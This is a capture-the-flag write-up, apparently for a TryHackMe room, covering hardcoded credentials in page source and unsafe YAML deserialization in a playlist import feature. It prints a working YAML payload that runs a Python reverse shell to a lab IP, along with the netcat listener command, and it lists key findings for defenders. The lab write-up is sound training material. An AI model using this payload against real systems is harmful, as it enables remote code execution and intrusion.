From Exposed Credentials to Remote Shell

Initial Access

Inspecting the page source revealed a staff note containing hardcoded credentials for the demo DJ account:

dj / dj

The credentials were used to authenticate to the web dashboard.

Playlist Import

The dashboard contained an Import Playlist feature that accepted YAML input.

Testing the parser revealed that Python-specific YAML objects could be processed. I used the following payload to execute a reverse shell:

playlist: 
    name: !!python/object/apply:os.system - | python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.154.159",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

Reverse Shell

A Netcat listener was started before submitting the payload:

nc -lvnp 4444

The target successfully connected back, providing an interactive shell.

Flag

With shell access established, I searched for .txt files containing the TryHackMe flag format:

find / -type f -name "*.txt" -exec grep -H "THM{" {} \; 2>/dev/null

The flag was recovered:

Flag recovered from the compromised system.

Attack Path

Inspect Element
      │
      ▼
Exposed DJ Credentials
      │
      ▼
Dashboard Login
      │
      ▼
Playlist Import
      │
      ▼
Unsafe YAML Processing
      │
      ▼
Command Execution
      │
      ▼
Reverse Shell
      │
      ▼
Flag Search
      │
      ▼
THM{y4ml_*******_***_***_b34ch}

Key Findings

• Hardcoded credentials exposed in page content.
• Demo credentials remained active.
• Playlist import accepted unsafe YAML input.
• Unsafe deserialization allowed command execution.
• Successful exploitation resulted in remote shell access.

Conclusion

The Beach Bar room demonstrated how exposed credentials combined with unsafe YAML processing can lead from initial web access to remote command execution.